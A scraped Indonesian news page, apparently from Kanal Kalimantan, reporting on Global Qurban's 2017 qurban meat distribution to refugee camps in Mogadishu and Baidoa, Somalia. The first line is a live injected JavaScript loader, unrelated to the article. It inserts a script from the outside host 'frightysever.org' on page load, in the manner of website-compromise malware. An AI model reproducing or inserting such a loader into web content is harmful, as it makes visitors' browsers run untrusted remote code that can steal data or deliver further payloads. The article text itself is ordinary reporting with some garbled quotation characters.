(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BAIDOA, Urusan ketangguhan dalam meredam rasa takut, bertahan dalam berbagai kondisi kekacauan, sepertinya bisa dipelajari dari sebuah negeri nan jauh di Tanduk Afrika. Negeri itu bernama Somalia. Konflik sipil yang telah berkarat sejak 1980 hingga hari ini, jelas-jelas telah mengajarkan Somalia banyak pengalaman.
Bagai sebuah grafik yang naik dan turun, konflik sipil Somalia pernah membuat negeri itu benar-benar hancur lebur, dengan jutaan pengungsi melarikan diri mencari perlindungan keluar Somalia. Sementara itu, satu dekade terakhir konflik memang masih terjadi, namun perlahan grafik kondisi Somalia bergerak ke atas. Pelan tapi pasti, Somalia bangkit dari kekacauan. Walau memang, jumlah pengungsi internal masih luar biasa membludak. Nihil pekerjaan, mereka tinggal dalam tenda dengan fondasi ranting kayu. Miskin tanpa punya daya.
Dari jarak geografis jelas terpisah jauh. Tapi bagi bangsa Indonesia, nama Somalia tak pernah asing. Wajar, sebab tahun ke tahun selalu ada koneksi kemanusiaan yang kuat dengan Somalia. Tahun lalu saja, dalam setahun berkali-kali koneksi terhubung.
Mulai dari pengiriman Kapal Kemanusiaan Afrika episode satu. Berlanjut beberapa bulan berikutnya Kapal Kemanusiaan Afrika episode dua yang sama-sama berlabuh di Pelabuhan Mogadishu, membawa ribuan ton bantuan beras untuk krisis kelaparan di Somalia.
Sampai puncaknya di momentum Lebaran Kurban, awal September 2017 lalu. Total tak kurang dari 1.000 sapi kurban dari masyarakat Indonesia disembelih di Somalia. Daging-daging kurban kemudian dibawa luas hingga ke pelosok Somalia, ke kantong-kantong pengungsi yang jumlahnya luar biasa. Dari Mogadishu, ke Jowhar, termasuk juga ke tanah paling gersang dan berdebu: Baidoa.
Bagi Global Qurban, kembali ke Somalia adalah rutinitas wajib yang terus dilakukan. Somalia menjadi salah satu target utama distribusi kurban. Alasannya satu: konflik perlahan memang reda, tapi krisis kemanusiaan di Somalia sama sekali belum berakhir. Merangkum data Badan Dunia untuk Urusan Pengungsi (UNHCR), hingga Maret 2018 lalu, pengungsi internal di dalam Somalia berjumlah lebih dari 1,5 juta jiwa.
Setahun silam, dimulai dari hari Lebaran Kurban pertama di Mogadishu, Jumat (1/9/2017), Global Qurban menyelesaikan amanah ratusan ekor sapi dalam satu hari. Puluhan ton daging kurban lalu dimuat di atas truk klasik, truk yang tetap bertahan meski digilas konflik berpuluh tahun. Tujuan hari pertama itu, menuju ke Kamp Pengungsian Malable, satu dari ratusan kamp pengungsian lain di pinggiran Mogadishu.
“Hanya berjarak ratusan meter ada kamp pengungsian berselang-seling dengan bangunan permanen penuh debu, seperti toko atau pasar. Kami singgah di Kamp Malable, salah satu kamp paling kumuh di Mogadishu,†ujar Bambang Triyono, Koordinator Implementasi Global Qurban di Somalia.
Tenda pengungsian terlihat berjejer tak beraturan. Pengap, kotor, penuh debu, air bersih tak ada, bolong di sana-sini. Bentuknya oval serupa honai di Papua. Di lokasi ini, lebih dari 300 keluarga pengungsi mendapat jatah daging kurban yang sama.
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.